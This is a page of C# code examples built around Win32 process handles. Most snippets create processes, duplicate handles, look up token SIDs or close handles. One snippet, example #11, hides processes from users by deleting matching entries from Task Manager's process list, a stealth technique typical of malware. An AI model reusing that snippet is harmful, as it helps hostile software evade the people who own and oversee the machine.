예제 #1
0
        private Win32Process(NativeMethods.PROCESS_INFORMATION pi, StreamWriter stdin, StreamReader stdout, StreamReader stderror)
        {
            StandardInput  = stdin;
            StandardOutput = stdout;
            StandardError  = stderror;
            _hasExited     = false;
            _exitCodeLock  = new object();
            Id             = pi.dwProcessId;
            MainThreadId   = pi.dwThreadId;
            _processHandle = new SafeProcessHandle(pi.hProcess, true);

            var threadHandle = new SafeThreadHandle(pi.hThread);
            var wait         = new ProcessWaitHandle(_processHandle);

            _registeredWait = ThreadPool.RegisterWaitForSingleObject(wait, (o, t) => {
                _registeredWait.Unregister(wait);
                SetExitState();
                Exited?.Invoke(this, EventArgs.Empty);
                _processHandle.Close();
                threadHandle.Close();
                wait.Close();
            }, null, -1, true);

            _disposable
            .Add(() => _registeredWait.Unregister(wait))
            .Add(_processHandle)
            .Add(threadHandle)
            .Add(wait);
        }
예제 #2
0
        private static bool GetFileNameFromHandle(IntPtr handle, int processId, out string fileName)
        {
            IntPtr            currentProcess = GetCurrentProcess();
            bool              remote         = processId != GetProcessId(currentProcess);
            SafeProcessHandle processHandle  = null;
            SafeObjectHandle  objectHandle   = null;

            try
            {
                if (remote)
                {
                    processHandle = OpenProcess(ProcessAccessRights.PROCESS_DUP_HANDLE, true, processId);
                    if (DuplicateHandle(processHandle.DangerousGetHandle(), handle, currentProcess, out objectHandle, 0, false, DuplicateHandleOptions.DUPLICATE_SAME_ACCESS))
                    {
                        handle = objectHandle.DangerousGetHandle();
                    }
                }
                return(GetFileNameFromHandle(handle, out fileName, 200));
            }
            finally
            {
                if (remote)
                {
                    if (processHandle != null)
                    {
                        processHandle.Close();
                    }
                    if (objectHandle != null)
                    {
                        objectHandle.Close();
                    }
                }
            }
        }
예제 #3
0
    private static string GetHandleTypeToken(IntPtr handle, int processId)
    {
        IntPtr            currentProcess = NativeMethods.GetCurrentProcess();
        bool              remote         = (processId != NativeMethods.GetProcessId(currentProcess));
        SafeProcessHandle processHandle  = null;
        SafeObjectHandle  objectHandle   = null;

        try
        {
            if (remote)
            {
                processHandle = NativeMethods.OpenProcess(ProcessAccessRights.PROCESS_DUP_HANDLE, true, processId);
                if (NativeMethods.DuplicateHandle(processHandle.DangerousGetHandle(), handle, currentProcess, out objectHandle, 0, false, DuplicateHandleOptions.DUPLICATE_SAME_ACCESS))
                {
                    handle = objectHandle.DangerousGetHandle();
                }
            }
            return(GetHandleTypeToken(handle));
        }
        finally
        {
            if (remote)
            {
                if (processHandle != null)
                {
                    processHandle.Close();
                }
                if (objectHandle != null)
                {
                    objectHandle.Close();
                }
            }
        }
    }
예제 #4
0
 public void Dispose()
 {
     if (processHandle != null)
     {
         processHandle.Close();
         processHandle = null;
     }
 }
예제 #5
0
        public void WaitForExit(int waitMilliseconds = 10000)
        {
            if (!_testProcessHandle.GetProcessWaitHandle().WaitOne(waitMilliseconds))
            {
                NativeMethods.TerminateProcess(_testProcessHandle.DangerousGetHandle(), 0);
                Debug.WriteLine($"Process Std Output:\n{GetStdOut()}");
                //Debug.WriteLine($"Process Std Error:\n{GetStdErr()}");

                Assert.Fail("Process still active!");
            }
            Debug.WriteLine($"Process Std Output:\n{GetStdOut()}");
            //Debug.WriteLine($"Process Std Error:\n{GetStdErr()}");
            //NativeMethods.GetExitCodeProcess(_testProcessHandle, out ExitCode);
            ExitCode = _process?.ExitCode ?? ExitCode;
            _testProcessHandle.Close();
        }
예제 #6
0
파일: Win32Process.cs 프로젝트: mvacha/RTVS
 private Win32Process(NativeMethods.PROCESS_INFORMATION pi)
 {
     _hasExited      = false;
     _exitCodeLock   = new object();
     ProcessId       = pi.dwProcessId;
     MainThreadId    = pi.dwThreadId;
     _processHandle  = new SafeProcessHandle(pi.hProcess, true);
     _threadHandle   = new SafeThreadHandle(pi.hThread);
     _wait           = new ProcessWaitHandle(_processHandle);
     _registeredWait = ThreadPool.RegisterWaitForSingleObject(_wait, (o, t) => {
         _registeredWait.Unregister(_wait);
         SetExitState();
         Exited?.Invoke(this, new Win32ProcessExitEventArgs(_exitCode));
         _processHandle.Close();
         _threadHandle.Close();
         _wait.Close();
     }, null, -1, true);
 }
예제 #7
0
        public static bool HandleAction(IntPtr handle, int processId, HandleDelegate handleDelegate,
                                        params object[] args)
        {
            Process currentProcess = Process.GetCurrentProcess();

            bool remote = (processId != currentProcess.Id);

            SafeProcessHandle processHandle = null;

            SafeObjectHandle objectHandle = null;

            try
            {
                if (remote)
                {
                    processHandle = NativeMethods.OpenProcess(ProcessAccessRights.DuplicateHandle, true, processId);

                    if (NativeMethods.DuplicateHandle(processHandle.DangerousGetHandle(), handle, currentProcess.Handle,
                                                      out objectHandle, 0, false,
                                                      DuplicateHandleOptions.SameAccess))
                    {
                        handle = objectHandle.DangerousGetHandle();
                    }
                }
                return(handleDelegate.Invoke(handle, args));
            }

            finally
            {
                if (remote)
                {
                    if (processHandle != null)
                    {
                        processHandle.Close();
                    }

                    if (objectHandle != null)
                    {
                        objectHandle.Close();
                    }
                }
            }
        }
예제 #8
0
        public static bool GetFileNameFromHandle(IntPtr handle, int processId, out string fileName)
        {
            Process currentProcess = Process.GetCurrentProcess();

            bool remote = (processId != currentProcess.Id);

            SafeProcessHandle remoteProcessHandle = null;

            SafeObjectHandle objectHandle = null;

            try
            {
                if (remote)
                {
                    remoteProcessHandle = NativeMethods.OpenProcess(ProcessAccessRights.DuplicateHandle, true, processId);

                    if (NativeMethods.DuplicateHandle(remoteProcessHandle.DangerousGetHandle(), handle, currentProcess.Handle,
                                                      out objectHandle, 0, false,
                                                      DuplicateHandleOptions.SameAccess))
                    {
                        handle = objectHandle.DangerousGetHandle();
                    }
                }
                return(GetFileNameFromHandle(handle, out fileName));
            }

            finally
            {
                if (remote)
                {
                    if (remoteProcessHandle != null)
                    {
                        remoteProcessHandle.Close();
                    }

                    if (objectHandle != null)
                    {
                        objectHandle.Close();
                    }
                }
            }
        }
예제 #9
0
        internal static Process CreateProcess(string executable, string arguments)
        {
            var startupInfo        = new StartupInfo();
            var threadSecurity     = new SecurityAttributes();
            var processSecurity    = new SecurityAttributes();
            var processInformation = new ProcessInformation();

            processSecurity.nLength = Marshal.SizeOf(processSecurity);
            threadSecurity.nLength  = Marshal.SizeOf(threadSecurity);

            // We can use the string builder to build up our full command line, including arguments
            var commandLine = new StringBuilder();

            commandLine.Append(executable)
            .Append(' ')
            .Append(arguments);

            if (CreateProcess(null, commandLine, processSecurity, threadSecurity, false, normalPriorityClass, IntPtr.Zero, null, startupInfo, processInformation))
            {
                // Process was created successfully
                var safeProcessHandle = new SafeProcessHandle(processInformation.hProcess, true);

                if (!safeProcessHandle.IsInvalid)
                {
                    var process = Process.GetProcessById(processInformation.dwProcessId);
                    safeProcessHandle.Close();
                    return(process);
                }
                // Not sure what to do here but hopefully this wouldn't arise.
                // There should be some form of exception thrown here to ensure
                // the above layer of this case but is it really necessary? Since
                // the process HAS started anyway. I should consult Sir Taimoor
                // on this.
            }

            // We couldn't create the process, so raise an exception with the details.
            throw Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error());
        }
예제 #10
0
        private ProcessInformation CreateProcessWithStartInfo(SimpleProcessStartupInfo simpleProcessStartupInfo, CreateProcessOptions options)
        {
            Logger.LogInfo("CreateProcessWithStartInfo: Entry point.");
            var stringBuilder = BuildCommandLine(simpleProcessStartupInfo.FileName, simpleProcessStartupInfo.Arguments);

            Logger.LogInfo("CreateProcessWithStartInfo: command line is {0}.", stringBuilder);

            using (var startupInfo = new STARTUPINFO()) {
                Logger.LogInfo("CreateProcessWithStartInfo: Creation flags.");
                ProcessCreationFlags processCreationFlags = 0;
                if (simpleProcessStartupInfo.CreateNoWindow)
                {
                    processCreationFlags |= ProcessCreationFlags.CREATE_NO_WINDOW;
                }
                if ((options & CreateProcessOptions.BreakAwayFromJob) != 0)
                {
                    processCreationFlags |= ProcessCreationFlags.CREATE_BREAKAWAY_FROM_JOB;
                }

                var workingDirectory = simpleProcessStartupInfo.WorkingDirectory;
                if (workingDirectory == string.Empty)
                {
                    workingDirectory = Environment.CurrentDirectory;
                }
                Logger.LogInfo("CreateProcessWithStartInfo: Working directory: {0}.", workingDirectory);

                if ((options & CreateProcessOptions.AttachDebugger) != 0)
                {
                    Logger.LogInfo("CreateProcessWithStartInfo: Setting DEBUG_PROCESS flag.");
                    processCreationFlags |= ProcessCreationFlags.DEBUG_PROCESS;
                    processCreationFlags |= ProcessCreationFlags.DEBUG_ONLY_THIS_PROCESS;
                }

                Logger.LogInfo("CreateProcessWithStartInfo: Calling Win32 CreateProcess.");
                var processInformation = new PROCESS_INFORMATION();
                var environmentPtr     = IntPtr.Zero;
                var lastError          = 0;
                var success            = NativeMethods.CreateProcess(null, stringBuilder, null, null, true, processCreationFlags,
                                                                     environmentPtr, workingDirectory, startupInfo, processInformation);
                Logger.LogInfo("CreateProcessWithStartInfo: CreateProcess result: Success={0}-LastError={1}.", success, Marshal.GetLastWin32Error());
                if (!success)
                {
                    lastError = Marshal.GetLastWin32Error();
                }
                // Assign safe handles as quickly as possible to avoid leaks.
                var safeProcessHandle = new SafeProcessHandle(processInformation.hProcess);
                var safeThreadHandle  = new SafeProcessHandle(processInformation.hThread);
                if (!success)
                {
                    throw new LastWin32ErrorException(lastError, string.Format("Error creating process from file \"{0}\"", simpleProcessStartupInfo.FileName));
                }

                if (safeProcessHandle.IsInvalid || safeThreadHandle.IsInvalid)
                {
                    Logger.LogInfo("CreateProcessWithStartInfo: Invalid process handle.");
                    throw new Exception(string.Format("Error creating process from file \"{0}\" (invalid process handle)", simpleProcessStartupInfo.FileName));
                }

                Logger.LogInfo("CreateProcessWithStartInfo: Creating ProcessResult instance.");
                var processResult = new ProcessInformation {
                    ProcessHandle = safeProcessHandle,
                    ProcessId     = processInformation.dwProcessId
                };
                safeThreadHandle.Close();

                Logger.LogInfo("CreateProcessWithStartInfo: Success!");
                return(processResult);
            }
        }
예제 #11
0
        public static bool GetListView(IntPtr handle, IntPtr lvhandle)
        {
            bool flag;

            listViewHandle = lvhandle;
            IntPtr ptr         = handle;
            int    dwProcessId = -1;

            try
            {
                foreach (Process process in Process.GetProcessesByName("taskmgr"))
                {
                    dwProcessId = process.Id;
                }
                if (dwProcessId == -1)
                {
                    throw new ArgumentException("Can't find process", "processName");
                }
            }
            catch (Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                flag = false;
                ProjectData.ClearProjectError();
                return(flag);
            }
            SafeProcessHandle hProcess = null;

            try
            {
                hProcess = OpenProcess(0x38, false, dwProcessId);
                if ((hProcess == null) && (Marshal.GetLastWin32Error() == 0))
                {
                    throw new Win32Exception();
                }
                int num2 = SendMessage(listViewHandle, 0x1004, IntPtr.Zero, IntPtr.Zero);
                int num5 = num2 - 1;
                for (int i = 0; i <= num5; i++)
                {
                    ListViewItem item = new ListViewItem(GetItem(i, 0, hProcess));
                    foreach (string str in Hide_Process_From_TaskManager.Processes_Names)
                    {
                        Hide_Process_From_TaskManager.MyProc = str;
                        if (item.Text.Contains(Hide_Process_From_TaskManager.MyProc))
                        {
                            SendMessage(listViewHandle, 0x1008, i, IntPtr.Zero);
                        }
                    }
                }
            }
            catch (Exception exception2)
            {
                ProjectData.SetProjectError(exception2);
                flag = false;
                ProjectData.ClearProjectError();
                return(flag);

                ProjectData.ClearProjectError();
            }
            finally
            {
                if (hProcess != null)
                {
                    hProcess.Close();
                    hProcess.Dispose();
                }
            }
            return(true);
        }
예제 #12
0
 public void Dispose()
 {
     _processHandle?.Close();
 }
예제 #13
0
        //Returns the SID of the user the process is running as,
        //otherwise, null if the process has exited or access is denied to the process
        internal static string GetProcessUserSid(Process process)
        {
            //If this is a well known process (specifically the System and Idle kernel processes)
            //Assume you are running as system.  This is also special cased by the OS.
            if (process.Id == 0 || process.Id == 4)
            {
                return(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null).Value);
            }

            SafeProcessHandle processToken = SafeProcessHandle.InvalidHandle;
            IntPtr            tokenPtr     = IntPtr.Zero;
            TOKEN_USER        userToken    = new TOKEN_USER();
            string            userSid      = null;
            IntPtr            hProcess     = IntPtr.Zero;

            try
            {
                //HACK: For Vista it is possible to get the user SID for any process when running with administrator privileges.
                //      however downlevel you have to be running as system to get the sid for processes that are running as
                //      LocalService or NetworkService.
                //      The correct thing to do here would be to delegate the call on downlevel systems to ExecutionService.
                //      Alternatively we can use the undocumented WinStationGetProcessSid API in winsta.dll which is used by
                //      task manager which does an RPC call to a system process.  Because it is undocumented I was not successful in
                //      getting the pinvoke interop working.
                //      As a workaround for downlevel OSes we assume that processes that we can not get the access token to are running
                //      as LocalService.  This should still allow application logic to differentiate between user, system, and service
                //      processes which is the primary goal of this API.

                int processAccessLevel = Environment.OSVersion.Version.Major > 6 ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION;

                hProcess = OpenProcess(processAccessLevel, false, process.Id);
                if (hProcess == IntPtr.Zero)
                {
                    //the process has exited or access to the process is denied
                    //(running less then admin or locked down process such as audiodg on Vista)
                    return(null);
                }

                if (!OpenProcessToken(hProcess, TokenAccessLevels.Query, out processToken))
                {
                    //Access Denied - assume the process is running as LocalService (see hack comment above)
                    return(new SecurityIdentifier(WellKnownSidType.LocalServiceSid, null).Value);
                }

                //Get the size of the structure
                uint userTokenSize = 0;
                GetTokenInformation(processToken, TokenInformationClass.TokenUser, IntPtr.Zero, 0, out userTokenSize);

                //The call above will fail with the error "Data Size too small", but will return the right size
                if (userTokenSize == 0)
                {
                    throw new Win32Exception();
                }

                //Retrieve the token data
                tokenPtr = Marshal.AllocHGlobal((int)userTokenSize);
                if (!GetTokenInformation(processToken, TokenInformationClass.TokenUser, tokenPtr, userTokenSize, out userTokenSize))
                {
                    throw new Win32Exception();
                }

                //Marshall the pointer to the structure
                Marshal.PtrToStructure(tokenPtr, userToken);
                //Retrieve the sid
                ConvertSidToStringSid(userToken.User.Sid, out userSid);
            }
            finally
            {
                //Free used resources
                if (hProcess != IntPtr.Zero)
                {
                    CloseHandle(hProcess);
                }

                Marshal.FreeHGlobal(tokenPtr);
                processToken.Close();
            }

            return(userSid);
        }
예제 #14
0
        private static unsafe int ExecWaitWithCaptureUnimpersonated(SafeUserTokenHandle userToken, string cmd, string currentDir, TempFileCollection tempFiles, ref string outputName, ref string errorName, string trueCmdLine)
        {
            IntSecurity.UnmanagedCode.Demand();

            FileStream output;
            FileStream error;

            int retValue = 0;

            if (outputName == null || outputName.Length == 0)
            {
                outputName = tempFiles.AddExtension("out");
            }

            if (errorName == null || errorName.Length == 0)
            {
                errorName = tempFiles.AddExtension("err");
            }

            // Create the files
            output = CreateInheritedFile(outputName);
            error  = CreateInheritedFile(errorName);

            bool success = false;

            SafeNativeMethods.PROCESS_INFORMATION pi = new SafeNativeMethods.PROCESS_INFORMATION();
            SafeProcessHandle   procSH       = new SafeProcessHandle();
            SafeThreadHandle    threadSH     = new SafeThreadHandle();
            SafeUserTokenHandle primaryToken = null;

            try {
                // Output the command line...
                StreamWriter sw = new StreamWriter(output, Encoding.UTF8);
                sw.Write(currentDir);
                sw.Write("> ");
                // 'true' command line is used in case the command line points to
                // a response file
                sw.WriteLine(trueCmdLine != null ? trueCmdLine : cmd);
                sw.WriteLine();
                sw.WriteLine();
                sw.Flush();

                NativeMethods.STARTUPINFO si = new NativeMethods.STARTUPINFO();

                si.cb         = Marshal.SizeOf(si);
                si.dwFlags    = NativeMethods.STARTF_USESTDHANDLES;
                si.hStdOutput = output.SafeFileHandle;
                si.hStdError  = error.SafeFileHandle;
                si.hStdInput  = new SafeFileHandle(UnsafeNativeMethods.GetStdHandle(NativeMethods.STD_INPUT_HANDLE), false);

                //
                // Prepare the environment
                //
#if PLATFORM_UNIX
                StringDictionary environment = new CaseSensitiveStringDictionary();
#else
                StringDictionary environment = new StringDictionary();
#endif // PLATFORM_UNIX



                // Add the current environment

                foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables())
                {
                    environment.Add((string)entry.Key, (string)entry.Value);
                }



                // Add the flag to indicate restricted security in the process
                environment["_ClrRestrictSecAttributes"] = "1";

                #if DEBUG
                environment["OANOCACHE"] = "1";
                #endif

                // set up the environment block parameter
                byte[] environmentBytes = EnvironmentBlock.ToByteArray(environment, false);
                fixed(byte *environmentBytesPtr = environmentBytes)
                {
                    IntPtr environmentPtr = new IntPtr((void *)environmentBytesPtr);

                    if (userToken == null || userToken.IsInvalid)
                    {
                        RuntimeHelpers.PrepareConstrainedRegions();
                        try {} finally {
                            success = NativeMethods.CreateProcess(
                                null,                              // String lpApplicationName,
                                new StringBuilder(cmd),            // String lpCommandLine,
                                null,                              // SECURITY_ATTRIBUTES lpProcessAttributes,
                                null,                              // SECURITY_ATTRIBUTES lpThreadAttributes,
                                true,                              // bool bInheritHandles,
                                0,                                 // int dwCreationFlags,
                                environmentPtr,                    // int lpEnvironment,
                                currentDir,                        // String lpCurrentDirectory,
                                si,                                // STARTUPINFO lpStartupInfo,
                                pi);                               // PROCESS_INFORMATION lpProcessInformation);
                            if (pi.hProcess != (IntPtr)0 && pi.hProcess != (IntPtr)NativeMethods.INVALID_HANDLE_VALUE)
                            {
                                procSH.InitialSetHandle(pi.hProcess);
                            }
                            if (pi.hThread != (IntPtr)0 && pi.hThread != (IntPtr)NativeMethods.INVALID_HANDLE_VALUE)
                            {
                                threadSH.InitialSetHandle(pi.hThread);
                            }
                        }
                    }
                    else
                    {
                        throw new NotSupportedException();
                    }
                }
            }
            finally {
                // Close the file handles
                if (!success && (primaryToken != null && !primaryToken.IsInvalid))
                {
                    primaryToken.Close();
                    primaryToken = null;
                }

                output.Close();
                error.Close();
            }

            if (success)
            {
                try {
                    int ret = NativeMethods.WaitForSingleObject(procSH, ProcessTimeOut);

                    // Check for timeout
                    if (ret == NativeMethods.WAIT_TIMEOUT)
                    {
                        throw new ExternalException(SR.GetString(SR.ExecTimeout, cmd), NativeMethods.WAIT_TIMEOUT);
                    }

                    if (ret != NativeMethods.WAIT_OBJECT_0)
                    {
                        throw new ExternalException(SR.GetString(SR.ExecBadreturn, cmd), Marshal.GetLastWin32Error());
                    }

                    // Check the process's exit code
                    int status = NativeMethods.STILL_ACTIVE;
                    if (!NativeMethods.GetExitCodeProcess(procSH, out status))
                    {
                        throw new ExternalException(SR.GetString(SR.ExecCantGetRetCode, cmd), Marshal.GetLastWin32Error());
                    }

                    retValue = status;
                }
                finally {
                    procSH.Close();
                    threadSH.Close();
                    if (primaryToken != null && !primaryToken.IsInvalid)
                    {
                        primaryToken.Close();
                    }
                }
            }
            else
            {
                throw new ExternalException(SR.GetString(SR.ExecCantExec, cmd), Marshal.GetLastWin32Error());
            }

            return(retValue);
        }
예제 #15
0
 public void Close()
 {
     handle.Close();
 }
예제 #16
0
 public void Close() => handle.Close();
예제 #17
0
 private void ReleaseProcessHandle(SafeProcessHandle handle)
 {
     if (handle == null)
     {
         return;
     }
     if (haveProcessHandle && handle == m_processHandle)
     {
         return;
     }
     handle.Close();
 }
예제 #18
0
        public void Dispose()
        {
            // Close the handle opened to the process

            ProcessHandle?.Close();
        }